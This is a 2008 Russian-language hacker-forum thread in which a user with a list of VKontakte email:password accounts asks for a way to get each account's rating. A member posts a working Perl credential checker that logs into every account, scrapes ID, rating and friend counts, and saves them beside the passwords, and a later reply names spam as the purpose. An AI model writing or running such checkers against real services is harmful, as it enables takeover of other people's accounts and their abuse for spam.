Вконтакте | Рейтинг

Discussion in 'Болталка' started by Don Anton, 2 Aug 2008.

  1. Don Anton

    Don Anton Elder - Старейшина

    Joined:
    28 Feb 2008
    Messages:
    35
    Likes Received:
    121
    Reputations:
    4
    Есть куча аккаунтов вида mail:рass. Нужно сделать вид: rate:mail:pass. Помогите ламеру! Есть ли такой скрипт?
     
  2. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    microsoft excel пробывал?
     
  3. Don Anton

    Don Anton Elder - Старейшина

    Joined:
    28 Feb 2008
    Messages:
    35
    Likes Received:
    121
    Reputations:
    4
    Как ты экселем узнаешь рейтинг?
    Нужно что-то на подобии граббера по готовым аккам. Просто нужно узнать их рейтинг не в ручную
     
  4. zlo12

    zlo12 Elder - Старейшина

    Joined:
    28 Dec 2007
    Messages:
    535
    Likes Received:
    135
    Reputations:
    34
    Вот это отвечает за рейтинг
     
  5. Exlibris

    Exlibris Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    359
    Likes Received:
    394
    Reputations:
    27
    пиши сам или жди пока ктонить нпишет
    --
    зы сам мож напишу ближе к понедельнику есчли никто не реализует еще...
     
  6. zavra

    zavra Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    87
    Likes Received:
    48
    Reputations:
    23
    Code:
    #!/usr/bin/perl
    # VKONTAKTE    cheker
    # Original author Xszz.AoH
    # Modified by svesve, zavr
    # tnx to a4at members who help me with perl ;-)
    use strict;
    use LWP::UserAgent;
    
    use HTTP::Cookies;
    
    open (FILE , '<good.txt');
    my @f = <FILE>;
    chomp @f;
    my $ua = LWP::UserAgent->new;
    my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
    $ua->cookie_jar($cookies);
    open (OUT , '>>IDS_rate.txt');
    while (@f)
    {
    my ($mail, $pass) = split(/:/, shift(@f));
    
    my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
    my $suc = $req =~ /302 Found/;
    if ($suc )
    {
    $req = $ua->get('http://vkontakte.ru/index.php')->as_string;
    my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;
    my $idd=$2;
    my $res = $1 if $req=~m/<div id="percent">(.{1,4})</;
    if (!$res){
        $res = $1 if $req=~m/<div id="percentGold">(.{1,4})</;
    }
    my $fri = $1 if $req=~m/<div><h2>Друзья <span>\((\d+)\)</;
    if (!$fri){
        $fri = "0"
    }
    my $onl = $1 if $req=~m/<div><h2>Друзья он-лайн <span>\((\d+)\)</;
    if(!$onl){
        $onl = "0"
    }
    print "[online=$onl]:[friends=$fri]:[rate=$res]:[id=$idd]:$mail:$pass\n";
    if (!$idd)
    {
    print "Account deleted \n";
    }
    print OUT $fri.":".$res.":".$idd.":".$mail.":".$pass."\n";
    }
    else{print"[-]bad login or password \n";}
    }
    close OUT;
    close FILE;
    записывает в файл оличество друзей:рейтинг:id:e:p
     
  7. Petr

    Petr Banned

    Joined:
    10 Jun 2006
    Messages:
    642
    Likes Received:
    369
    Reputations:
    -13
    А толку от рейтинга чюжого, мы же обсуждали уже, что от чюжого рейтинга себе ни процентинга не взять
     
  8. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    Отсортировать по рейтингу, для спама... Типа повышать качество спама.